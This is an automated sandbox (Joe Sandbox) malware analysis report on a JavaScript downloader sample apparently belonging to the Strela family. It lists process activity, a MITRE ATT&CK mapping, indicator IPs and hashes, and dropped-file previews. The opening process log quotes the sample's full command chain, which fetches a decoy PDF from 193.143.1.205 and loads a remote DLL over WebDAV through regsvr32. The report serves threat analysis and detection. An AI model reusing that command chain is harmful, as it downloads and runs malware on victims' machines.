Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\273141391031247.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	32 Scripting	Valid Accounts	1 Command and Scripting Interpreter	32 Scripting	11 Process Injection	11 Masquerading	OS Credential Dumping	1 Network Share Discovery	Remote Services	Data from Local System	1 Data Obfuscation	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Native API	1 DLL Side-Loading	1 DLL Side-Loading	131 Virtualization/Sandbox Evasion	LSASS Memory	11 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	11 Non-Standard Port	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Exploitation for Client Execution	Logon Script (Windows)	Logon Script (Windows)	11 Process Injection	Security Account Manager	1 Process Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Ingress Tool Transfer	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	2 PowerShell	Login Hook	Login Hook	1 Obfuscated Files or Information	NTDS	131 Virtualization/Sandbox Evasion	Distributed Component Object Model	Input Capture	2 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	1 Application Window Discovery	SSH	Keylogging	12 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	Steganography	Cached Domain Credentials	1 File and Directory Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	Compile After Delivery	DCSync	122 System Information Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
984279432356016169.js	3%	Virustotal		Browse
984279432356016169.js	3%	ReversingLabs

Source	Detection	Scanner	Label	Link
http://193.143.1.205:8888/c	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
bg.microsoft.map.fastly.net	199.232.210.172	true	false	high
s-part-0017.t-0009.t-msedge.net	13.107.246.45	true	false	high
default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com	217.20.57.20	true	false	high
x1.i.lencr.org	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://193.143.1.205/invoice.php	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://g.live.com/odclientsettings/ProdV21C:	svchost.exe, 0000000A.00000003.1721284241.000002A2AEAB0000.00000004.00000800.00020000.00000000.sdmp, edb.log.10.dr, qmgr.db.10.dr	false		high
http://crl.ver)	svchost.exe, 0000000A.00000002.2865747654.000002A2AEC00000.00000004.00000020.00020000.00000000.sdmp	false		high
http://x1.i.lencr.org/	2D85F72862B55C4EADD9E66E06947F3D0.9.dr	false		high
https://www.adobe.co	ReaderMessages.6.dr	false		high
https://g.live.com/odclientsettings/Prod1C:	qmgr.db.10.dr	false		high
http://193.143.1.205:8888/	net.exe, 00000008.00000002.1714474587.0000021026EFB000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000008.00000002.1714474587.0000021026EC8000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000008.00000002.1714474587.0000021026F1A000.00000004.00000020.00020000.00000000.sdmp	false		high
http://193.143.1.205:8888/c	net.exe, 00000008.00000002.1714474587.0000021026EC8000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
193.143.1.205	unknown	unknown		57271	BITWEB-ASRU	true

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1588129
Start date and time:	2025-01-10 21:38:18 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 6m 2s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	19
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled GSI enabled (Javascript) AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	984279432356016169.js
Detection:	MAL
Classification:	mal100.rans.troj.spyw.expl.evad.winJS@27/62@1/2
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Found application associated with file extension: .js

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, WMIADAP.exe, SIHClient.exe, conhost.exe
Excluded IPs from analysis (whitelisted): 88.221.110.91, 2.16.100.168, 2.23.240.205, 172.64.41.3, 162.159.61.3, 23.209.209.135, 2.23.242.162, 217.20.57.20, 2.16.168.105, 2.16.168.107, 23.40.179.56, 23.40.179.29, 23.40.179.9, 23.40.179.15, 23.40.179.63, 23.40.179.69, 23.40.179.19, 23.40.179.71, 13.107.246.45, 4.245.163.56, 18.213.11.84, 96.17.64.171
Excluded domains from analysis (whitelisted): e4578.dscg.akamaiedge.net, chrome.cloudflare-dns.com, e8652.dscx.akamaiedge.net, slscr.update.microsoft.com, otelrules.afd.azureedge.net, a767.dspw65.akamai.net, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, acroipm2.adobe.com, ssl-delivery.adobe.com.edgekey.net, e16604.g.akamaiedge.net, a122.dscd.akamai.net, prod.fs.microsoft.com.akadns.net, wu-b-net.trafficmanager.net, crl.root-x1.letsencrypt.org.edgekey.net, fs.microsoft.com, otelrules.azureedge.net, ctldl.windowsupdate.com.delivery.microsoft.com, acroipm2.adobe.com.edgesuite.net, ctldl.windowsupdate.com, p13n.adobe.io, fe3cr.delivery.mp.microsoft.com, download.windowsupdate.com.edgesuite.net, armmf.adobe.com, azureedge-t-prod.trafficmanager.net, geo2.adobe.com
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtCreateFile calls found.
Report size getting too big, too many NtCreateKey calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
15:39:52	API Interceptor	44x Sleep call for process: powershell.exe modified
15:39:58	API Interceptor	1x Sleep call for process: net.exe modified
15:39:58	API Interceptor	2x Sleep call for process: svchost.exe modified
15:40:07	API Interceptor	2x Sleep call for process: AcroCEF.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
193.143.1.205	1026278051441931198.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	322024057229051058.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	27321191142887719888.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	2295888241314542.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	27962100941450914990.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	295963673155714664.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	16847122831539518647.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	42173378525889.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	24928193762733825739.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	24108325173196611859.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
s-part-0017.t-0009.t-msedge.net	I3LPkQh2an.exe	Get hash	malicious	FormBook	Browse	13.107.246.45
	295963673155714664.js	Get hash	malicious	Strela Downloader	Browse	13.107.246.45
	24928193762733825739.js	Get hash	malicious	Strela Downloader	Browse	13.107.246.45
	FUEvp5c8lO.exe	Get hash	malicious	AsyncRAT, StormKitty, WorldWind Stealer	Browse	13.107.246.45
	http://unikuesolutions.com/ck/bd/%7BRANDOM_NUMBER05%7D/YmVuc29uLmxpbkB2aGFjb3JwLmNvbQ==	Get hash	malicious	HTMLPhisher	Browse	13.107.246.45
	Bontrageroutdoors_Project_Update_202557516.pdf	Get hash	malicious	Unknown	Browse	13.107.246.45
	AuKUol8SPU.exe	Get hash	malicious	FormBook	Browse	13.107.246.45
	1358019715229232264.js	Get hash	malicious	Strela Downloader	Browse	13.107.246.45
	https://probashkontho.com/work/Organization/privacy/index_.html	Get hash	malicious	Unknown	Browse	13.107.246.45
	ZV2G9QQzlR.exe	Get hash	malicious	FormBook	Browse	13.107.246.45
bg.microsoft.map.fastly.net	322024057229051058.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	7bAMuw5ono.exe	Get hash	malicious	Unknown	Browse	199.232.210.172
	27321191142887719888.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	27962100941450914990.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	42173378525889.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	24928193762733825739.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	24108325173196611859.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	19321276562420914470.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	2091470502273216855.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	2906816133204732533.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com	7bAMuw5ono.exe	Get hash	malicious	Unknown	Browse	217.20.57.18
	741645402364914803.js	Get hash	malicious	Strela Downloader	Browse	84.201.210.36
	533625797193620143.js	Get hash	malicious	Strela Downloader	Browse	84.201.210.21
	Bontrageroutdoors_Project_Update_202557516.pdf	Get hash	malicious	Unknown	Browse	217.20.57.42
	18444172742706830592.js	Get hash	malicious	Strela Downloader	Browse	217.20.57.19
	1882131031120212290.js	Get hash	malicious	Strela Downloader	Browse	217.20.57.35
	1861217272584230862.js	Get hash	malicious	Strela Downloader	Browse	84.201.210.20
	Message 2.eml	Get hash	malicious	Unknown	Browse	84.201.210.39
	naebalovo.dll.dll	Get hash	malicious	Unknown	Browse	217.20.57.36
	3090182781939528365.js	Get hash	malicious	Strela Downloader	Browse	84.201.210.21

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
BITWEB-ASRU	61969293196726215.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	1026278051441931198.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	322024057229051058.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	27321191142887719888.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	2295888241314542.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	27962100941450914990.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	295963673155714664.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	16847122831539518647.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	42173378525889.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	24928193762733825739.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.706718724132511
Encrypted:	false
SSDEEP:	1536:2JPJJ5JdihkWB/U7mWz0FujGRFDp3w+INKEbx9jzW9KHSjoN2jucfh11AoYQ6Vq2:2JIB/wUKUKQncEmYRTwh0i
MD5:	BB16F4F217F0DB262833EBF91F6EF966
SHA1:	D88B908AC184CDFFC12802FD3EDA76A39074FACB
SHA-256:	A196ECF8EBF4760C75CDFD5F4F31789179D3CE45BBD81DA98313C37D47F41019
SHA-512:	A02EA5E9033584230ED8E8122B5934BD3A2F5C0824B312DB43E6AE645DB88C0641757EC20B4905E20FF0AC45A4435746177F0B673580C7212837BACD4C7F4177
Malicious:	false
Preview:	...........@..@.+...{...;...{..........<...D./..;...{..................C:\ProgramData\Microsoft\Network\Downloader\.........................................................................................................................................................................................................................C:\ProgramData\Microsoft\Network\Downloader\..........................................................................................................................................................................................................................0u..................@...@.................................u.f!.Lz3.#.........`h.................h.......0.......X\...;...{..................C.:.\.P.r.o.g.r.a.m.D.a.t.a.\.M.i.c.r.o.s.o.f.t.\.N.e.t.w.o.r.k.\.D.o.w.n.l.o.a.d.e.r.\.q.m.g.r...d.b....................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	Extensible storage engine DataBase, version 0x620, checksum 0xdc872b53, page size 16384, DirtyShutdown, Windows version 10.0
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.7900382267702791
Encrypted:	false
SSDEEP:	1536:7SB2ESB2SSjlK/JvED2y0IEWBqbMo5g5FYkr3g16k42UPkLk+kq+UJ8xUJoU+dzV:7azaPvgurTd42UgSii
MD5:	B15AB0EEED005D2C88A531568624AFC6
SHA1:	CDEADB058FC0BFBCE28926F2338015D81A13C0D4
SHA-256:	9F1237923D0C848A49E5AD92593154F3BC78350BFC980A73C75FAC1859E969D2
SHA-512:	61377C216C2646F60C7F533948530CEC5DA1685CF050CAFBC1492BB74D52EE6BCEBA97827B97CDEEC67E3A01A293052D06798D99307E9E836DFB14907711AAAD
Malicious:	false
Preview:	.+S... ...............X\...;...{......................0.`.....42...{5.;'...}'.h.b.........................D./..;...{..........................................................................................................eJ......n....@...................................................................................................... ........+...{...............................................................................................................................................................................................2...{.....................................;'...}....................<.;'...}...........................#......h.b.....................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	0.08183041827660457
Encrypted:	false
SSDEEP:	3:2Q8YepyJqt/57Dek3JGxvRvllEqW3l/TjzzQ/t:2fzpPR3tYR9md8/
MD5:	4C75AAB2738143F62068C12BAE07A074
SHA1:	9E9CC0D2B23E9BFE019165B6CCE90BAC2830162D
SHA-256:	33AA0B9DBF66D7092DB1F32F30B1C1299A24828F69A83697EB2A262E8C6C264F
SHA-512:	6A8C9190B6DEDC42E618F769AFFBAD1D0A53C60F2C8FD488C6D43B71485BD9869E7015DD37F89FD1C1C04646E409B777F96588E40414480A14476EB2BC4B7951
Malicious:	false
Preview:	r........................................;...{..;'...}..42...{5.........42...{5.42...{5...Y.42...{59..................<.;'...}..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	297
Entropy (8bit):	5.224470928849079
Encrypted:	false
SSDEEP:	6:iO4li+q2PcNwi2nKuAl9OmbnIFUtSlpWZmwsl79NVkwOcNwi2nKuAl9OmbjLJ:7Si+vLZHAahFUtEpW/27PV54ZHAaSJ
MD5:	1AD8D609E99540E74CFDB0E6F4F1282A
SHA1:	E8BD000303A466F1A4A817B9EEAA284A7217C71D
SHA-256:	222523CD15305A3BE5ADB721CC456DE426AD271AAE87590D8F24E4A9622008D6
SHA-512:	ED9BA8D63A5820559D7D03FC9AC6997D31ACA1C994CB70C79638F76A768B78B4AAD6DAD8CB9D2BF1319E87D787FCC61470C52B913403AE80640EEB064E76D80C
Malicious:	false
Preview:	2025/01/10-15:39:58.821 bcc Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/10-15:39:58.823 bcc Recovering log #3.2025/01/10-15:39:58.824 bcc Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	297
Entropy (8bit):	5.224470928849079
Encrypted:	false
SSDEEP:	6:iO4li+q2PcNwi2nKuAl9OmbnIFUtSlpWZmwsl79NVkwOcNwi2nKuAl9OmbjLJ:7Si+vLZHAahFUtEpW/27PV54ZHAaSJ
MD5:	1AD8D609E99540E74CFDB0E6F4F1282A
SHA1:	E8BD000303A466F1A4A817B9EEAA284A7217C71D
SHA-256:	222523CD15305A3BE5ADB721CC456DE426AD271AAE87590D8F24E4A9622008D6
SHA-512:	ED9BA8D63A5820559D7D03FC9AC6997D31ACA1C994CB70C79638F76A768B78B4AAD6DAD8CB9D2BF1319E87D787FCC61470C52B913403AE80640EEB064E76D80C
Malicious:	false
Preview:	2025/01/10-15:39:58.821 bcc Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/10-15:39:58.823 bcc Recovering log #3.2025/01/10-15:39:58.824 bcc Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	341
Entropy (8bit):	5.200210012477659
Encrypted:	false
SSDEEP:	6:iO4onMIq2PcNwi2nKuAl9Ombzo2jMGIFUtSoloBhZmwsoloB7kwOcNwi2nKuAl97:7aIvLZHAa8uFUtdoD/roZ54ZHAa8RJ
MD5:	10D4DB7A93B40AE4EEA95D6A4B9A0AD5
SHA1:	B9982CF97664E6F4A61BE157C11D3F34F4089550
SHA-256:	655CDFD053B742673C9A275A71B15C0A5A278D3DBC55C984CD4FA0BF17326FB4
SHA-512:	DB0C123FFC78243AF89F9D1EA4A00FB1B60A47AAA861436CF141106F9167DDB446974288065030A697AB00A8EF28C64CC7B2D6BF0A0DD91B9EC2FA9C324AE576
Malicious:	false
Preview:	2025/01/10-15:39:59.240 7d0 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/10-15:39:59.242 7d0 Recovering log #3.2025/01/10-15:39:59.242 7d0 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	341
Entropy (8bit):	5.200210012477659
Encrypted:	false
SSDEEP:	6:iO4onMIq2PcNwi2nKuAl9Ombzo2jMGIFUtSoloBhZmwsoloB7kwOcNwi2nKuAl97:7aIvLZHAa8uFUtdoD/roZ54ZHAa8RJ
MD5:	10D4DB7A93B40AE4EEA95D6A4B9A0AD5
SHA1:	B9982CF97664E6F4A61BE157C11D3F34F4089550
SHA-256:	655CDFD053B742673C9A275A71B15C0A5A278D3DBC55C984CD4FA0BF17326FB4
SHA-512:	DB0C123FFC78243AF89F9D1EA4A00FB1B60A47AAA861436CF141106F9167DDB446974288065030A697AB00A8EF28C64CC7B2D6BF0A0DD91B9EC2FA9C324AE576
Malicious:	false
Preview:	2025/01/10-15:39:59.240 7d0 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/10-15:39:59.242 7d0 Recovering log #3.2025/01/10-15:39:59.242 7d0 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\7468e5a3-c3af-425c-8e78-3fc9816ddd82.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	475
Entropy (8bit):	4.969814904260269
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqPsBdOg2HSOgcaq3QYiubSpDyP7E4T3y:Y2sRdsRdMHSOL3QYhbSpDa7nby
MD5:	7BE9C8316EB1B7252CB363207744A145
SHA1:	57861355BE6541501AED40F896891579DCF473BF
SHA-256:	B8F7FC35C094B26B18BB46BB695F1D520904FF063398D86C5B06FD3E20F1881D
SHA-512:	2C7A056CDC3EF05D5E62822CC0BD835FA80CD06131CB76BF559B1D06F735A279C7DCEDE51F1E3A418596573CC960BAFAA038A45966E8007F671F7B6BFFD885DB
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13341052428587673","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":146366},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.7","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\7d4dc4d3-bc10-4989-b7d4-f4dab82e5aab.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	modified
Size (bytes):	475
Entropy (8bit):	4.974284279115877
Encrypted:	false
SSDEEP:	12:YH/um3RA8squWsBdOg2HBnAcaq3QYiubSpDyP7E4T3y:Y2sRds7dMHBnr3QYhbSpDa7nby
MD5:	8B2625C0F404093B87CAF80C8B01A32A
SHA1:	7BED02B860E975B54D7BD1162655891C7AF27F73
SHA-256:	FEB426C80C0B4F02D35C93F3BFE696947382B826C7C77F254CF1F1AFCF0BF964
SHA-512:	43708F8419BDF4C2951F3FA0AFA91F980CC0718D6D59C736C087E6CA712D98070A10CD7BBDB273B5C586E553FD3EF778A2A3E27CB54CB889A5B557FC7A2BF2D1
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381101610645900","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":308267},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.7","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	475
Entropy (8bit):	4.969814904260269
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqPsBdOg2HSOgcaq3QYiubSpDyP7E4T3y:Y2sRdsRdMHSOL3QYhbSpDa7nby
MD5:	7BE9C8316EB1B7252CB363207744A145
SHA1:	57861355BE6541501AED40F896891579DCF473BF
SHA-256:	B8F7FC35C094B26B18BB46BB695F1D520904FF063398D86C5B06FD3E20F1881D
SHA-512:	2C7A056CDC3EF05D5E62822CC0BD835FA80CD06131CB76BF559B1D06F735A279C7DCEDE51F1E3A418596573CC960BAFAA038A45966E8007F671F7B6BFFD885DB
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13341052428587673","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":146366},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.7","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State~RF6e6f0e.TMP (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	475
Entropy (8bit):	4.969814904260269
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqPsBdOg2HSOgcaq3QYiubSpDyP7E4T3y:Y2sRdsRdMHSOL3QYhbSpDa7nby
MD5:	7BE9C8316EB1B7252CB363207744A145
SHA1:	57861355BE6541501AED40F896891579DCF473BF
SHA-256:	B8F7FC35C094B26B18BB46BB695F1D520904FF063398D86C5B06FD3E20F1881D
SHA-512:	2C7A056CDC3EF05D5E62822CC0BD835FA80CD06131CB76BF559B1D06F735A279C7DCEDE51F1E3A418596573CC960BAFAA038A45966E8007F671F7B6BFFD885DB
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13341052428587673","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":146366},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.7","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	4099
Entropy (8bit):	5.236466194903664
Encrypted:	false
SSDEEP:	96:CwNwpDGHqPySfkcr2smSX8I2OQCDh28wDtPJcJEFt:CwNw1GHqPySfkcigoO3h28ytPJcJEFt
MD5:	24C3DEFCC441A9E5C958D1A1856EB37C
SHA1:	F92F5453B35D6CF66B927025E2AD5C9C0597F1A3
SHA-256:	280CF8F18752FF7C75E83C0C3A9BC59B5EB32242F4F165A53B266FA466CF3E94
SHA-512:	B29274FCEE27E05C0577B1867FDF8611021146A3784A0AD1F87987667733F02891F79872FB521DA9393D139CB6368F77369E63A2C306CA3B0979473574D45E25
Malicious:	false
Preview:	...#................version.1..namespace-.aw.o................next-map-id.1.Pnamespace-aa11265e_f35e_4e5d_85db_f163e1c0f691-https://rna-resource.acrobat.com/.0I.$.r................next-map-id.2.Snamespace-9a9aa6d6_c307_4dda_b6c0_dc91084c8e68-https://rna-v2-resource.acrobat.com/.1!...r................next-map-id.3.Snamespace-1fbd9dc5_70a3_4975_91b4_966e0915c27a-https://rna-v2-resource.acrobat.com/.2..N.o................next-map-id.4.Pnamespace-0e0aed8d_6d6f_4be0_b28f_8e02158bc792-https://rna-resource.acrobat.com/.3.z.o................next-map-id.5.Pnamespace-52652c26_09c2_43f2_adf7_da56a1f00d32-https://rna-resource.acrobat.com/.4.{.^...............Pnamespace-aa11265e_f35e_4e5d_85db_f163e1c0f691-https://rna-resource.acrobat.com/.C..r................next-map-id.6.Snamespace-3a89c6b0_72b9_411a_9e44_fa247f34ac91-https://rna-v2-resource.acrobat.com/.5.q._r................next-map-id.7.Snamespace-02b23955_9103_42e0_ba64_3f8683969652-https://rna-v2-resource.acrobat.com/.6..d.o..............

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	329
Entropy (8bit):	5.244046685538431
Encrypted:	false
SSDEEP:	6:iO4oxKq2PcNwi2nKuAl9OmbzNMxIFUtSoohZmwsoK5zkwOcNwi2nKuAl9OmbzNMT:7OvLZHAa8jFUts/kZ54ZHAa84J
